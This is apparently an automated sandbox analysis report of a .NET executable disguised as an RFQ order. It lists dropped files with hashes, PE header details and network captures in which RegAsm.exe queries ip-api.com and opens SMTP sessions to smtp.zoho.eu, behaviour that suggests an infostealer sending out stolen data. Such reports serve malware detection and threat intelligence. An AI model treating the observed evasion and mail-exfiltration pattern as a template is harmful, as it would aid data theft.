.T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9B6E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8732
Entropy (8bit):	3.7197490779683067
Encrypted:	false
SSDEEP:	192:R6l7wVeJBhZS6YWi/ELygmfZsBJiBprG89bRb0qfYrjm:R6lXJXZS6Yz/eygmfOfiDRbxfs6
MD5:	28FA240B1D50D13548998A2F312E871E
SHA1:	1854D9D162DFE0F1AA1870CDF4CFB48D031E92F5
SHA-256:	7F5E079990DC8D826763AF65D93EA762A1578AEA714745C8C5CD2C5CD48AA149
SHA-512:	04BA3ACFC485894BCCD9A3ED708AD63E8D3684B71C4D4D1B9AD8C6927B502862BD3C55CB9647E19D6CA3972BC1C6FC9155AB78BD0C7BC992E652DA47ED92C7B5
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BCD.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4950
Entropy (8bit):	4.634743230399989
Encrypted:	false
SSDEEP:	48:cvIwWl8zs1Jg771I9MAIXWpW8VYxYm8M4JPXXE6Fv3vyq8v4XXE30FUFBcTd:uIjfPI7Wn7VdJP0kWi0E+FBsd
MD5:	B98277192437D6A9A7311C154F1F3852
SHA1:	E71201B4A58D46DC1FAC7B6D72D0A1111F977AB2
SHA-256:	52155F3F4184A077E9030D431A753490AB7820A0498461FA2C2A5C0F76867BD2
SHA-512:	F93228DA7C16263C30B80579669C5CEE3B8F95F273674693CF8035636DFF86E388024D86C42FA46F3C7A546F5265B4BD4F98B6A2A88145743856C6B2AF3615AA
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="352641" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjisuyec.ouf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwak4bu2.o41.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcuihmdh.ure.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtrj22fm.bqn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647

Download File

Process:	C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
File Type:	ASCII text, with very long lines (696), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6042
Entropy (8bit):	5.413980475709527
Encrypted:	false
SSDEEP:	96:wMxSIUoo6Lo0X4rZxSIUoo6Lo0X40xSYxSuBI0j3xSUw:wmhhLo0X4r/hhLo0X4gw
MD5:	7DD189BDEB6E99EC26ED797D9ECCD69F
SHA1:	9BE998B89B4053C83E6D96D85BD9CBDA4DB01E9D
SHA-256:	AF90EA6448993FF0057A0ED41074D1C671A14D60EDB372804FC6DD2C1891657B
SHA-512:	EC62CCACBF05B37276A17F6C4A4AC5858DBA2176F026992D7A37C2BE61299500625F13D6B40B2C7F93B8DA1B8ECD2260606F900095A4700BEA2327E32BB8244A
Malicious:	false
Preview:	.Unhandled Exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt... at _bB._d(String , String , IntPtr , IntPtr , Boolean , UInt32 , IntPtr , String , IntPtr , IntPtr ).. --- End of inner exception stack trace ---.. at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor).. at System.Reflection.Runtime

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.296130025107502
Encrypted:	false
SSDEEP:	6144:f41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+rQmBMZJh1Vjj:Q1/YCW2AoQ0NiNQwMHrVH
MD5:	021E209FF56100EA5BA289C6E6E93E00
SHA1:	F6371D3312579DD6CF6C394F927521B750FF3D16
SHA-256:	8F59417F0E11A892E32103701507D60AD77D7C8E87DF92A71CC9587B0A0B590D
SHA-512:	9F94EDB675FB4D1A7246DFD473ABFE367A25929384624CD96360811A9B806989AED68C48A466DE656006ACE80CC1A967724307190502FA2914F3968A07AEB925
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmJ.r.G.................................................................................................................................................................................................................................................................................................................................................g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.890424280704445
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
File size:	679'855 bytes
MD5:	d617ed4ea343a0460e10f0e8a438cfeb
SHA1:	ecc4649d9da615a3f10621e71451fbc4efe066b1
SHA256:	1ab3ec9401912cfc5ff446a0e2ce4e2510799d014e573f6d75cd32f6367818ab
SHA512:	04e3dd11138d46bce516b0e5d7d834892769c068a4a6cdd709b9ad11f729e85c4a0e1c0cac29eb6cde90fe41a7f6562319cc0ee8f3cd7b5677f1f73469d23b40
SSDEEP:	12288:K+NB7CdmFs3+GHPka8hwdwq3BS9QG93LjuHdk0Z3wM9YOmGQXD:KcB7cB3+GHmhwdhCZ9nuHKgs1T
TLSH:	2FE4124BFA1C67EEE38E8772787A02706628DFA306846D54F9D4FE6E047035C69139D2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...T............."...0.#a............... ....@...... ..............................j.....`................................

File Icon


Icon Hash:	24ed8d96b2ade832

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x98EF0654 [Sat Apr 22 18:39:16 2051 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0xdcd2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x805e	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6123	0x6200	1123bb47663eccf191865c930f3fe965	False	0.61328125	data	6.438757388301241	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0xdcd2	0xde00	3e687967fd53b1928b778589fa789f33	False	0.09181447072072071	data	3.8153996343439553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xa15c	0xd228	Device independent bitmap graphic, 101 x 256 x 32, image size 51712, resolution 9055 x 9055 px/m			0.07864312267657993
RT_GROUP_ICON	0x17384	0x14	data			1.15
RT_VERSION	0x17398	0x3a8	data			0.4935897435897436
RT_VERSION	0x17740	0x3a8	data	English	United States	0.4935897435897436
RT_MANIFEST	0x17ae8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 08:19:07.222460032 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:07.227462053 CEST	80	49701	208.95.112.1	192.168.2.10
Jun 4, 2024 08:19:07.227530956 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:07.227931976 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:07.232821941 CEST	80	49701	208.95.112.1	192.168.2.10
Jun 4, 2024 08:19:07.809391975 CEST	80	49701	208.95.112.1	192.168.2.10
Jun 4, 2024 08:19:07.850390911 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:08.785309076 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:08.790255070 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:08.790309906 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:09.552175999 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:09.552510977 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:09.557468891 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.205205917 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.205466986 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:10.210366011 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.471451998 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.474848032 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:10.479800940 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742856026 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742873907 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742881060 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742893934 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742898941 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:10.742968082 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:10.745743036 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:10.750597000 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.012017012 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.024497986 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:11.029465914 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.292685986 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.295617104 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:11.300513029 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.563695908 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.564019918 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:11.568883896 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.965063095 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:11.966089964 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:11.970968008 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.232371092 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.232681036 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.237543106 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.498974085 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.499260902 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.504120111 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.765250921 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.765991926 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.765991926 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.765991926 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.766036034 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:12.770915031 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.770989895 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.770998955 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:12.771037102 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.513947010 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.560518026 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:13.565617085 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.826709986 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.826951027 CEST	587	49702	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.829477072 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:13.831607103 CEST	49702	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:13.833184958 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:13.838181019 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:13.838449955 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:14.604372025 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:14.604527950 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:14.609412909 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:14.872539043 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:14.872751951 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:14.877655983 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.140501022 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.140918970 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.145785093 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.408730984 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.409534931 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.412153959 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.414401054 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.417006969 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.679878950 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.679903030 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.679966927 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.680179119 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.684998035 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.948014021 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:15.948326111 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:15.953212023 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.262577057 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.262825012 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:16.267739058 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.537204981 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.537386894 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:16.542362928 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.811453104 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:16.811697960 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:16.816576004 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.079617977 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.104959011 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.104998112 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105040073 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105070114 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105109930 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105142117 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105186939 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105212927 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105233908 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.105254889 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:17.109958887 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110007048 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110017061 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110227108 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110259056 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110269070 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110280037 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110289097 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110306025 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.110315084 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.511714935 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:19:17.553498983 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:19:37.927660942 CEST	80	49701	208.95.112.1	192.168.2.10
Jun 4, 2024 08:19:37.927763939 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:58.788367033 CEST	49701	80	192.168.2.10	208.95.112.1
Jun 4, 2024 08:19:58.793605089 CEST	80	49701	208.95.112.1	192.168.2.10
Jun 4, 2024 08:20:48.803905964 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:20:48.809094906 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:20:49.072189093 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:20:49.072386026 CEST	587	49709	185.230.214.164	192.168.2.10
Jun 4, 2024 08:20:49.072499037 CEST	49709	587	192.168.2.10	185.230.214.164
Jun 4, 2024 08:20:49.073062897 CEST	49709	587	192.168.2.10	185.230.214.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 08:19:07.151247978 CEST	58099	53	192.168.2.10	1.1.1.1
Jun 4, 2024 08:19:07.158126116 CEST	53	58099	1.1.1.1	192.168.2.10
Jun 4, 2024 08:19:08.776885986 CEST	56105	53	192.168.2.10	1.1.1.1
Jun 4, 2024 08:19:08.784588099 CEST	53	56105	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 4, 2024 08:19:07.151247978 CEST	192.168.2.10	1.1.1.1	0x37f1	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 08:19:08.776885986 CEST	192.168.2.10	1.1.1.1	0x3af0	Standard query (0)	smtp.zoho.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 4, 2024 08:19:07.158126116 CEST	1.1.1.1	192.168.2.10	0x37f1	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jun 4, 2024 08:19:08.784588099 CEST	1.1.1.1	192.168.2.10	0x3af0	No error (0)	smtp.zoho.eu		185.230.214.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49701	208.95.112.1	80	7924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 08:19:07.227931976 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
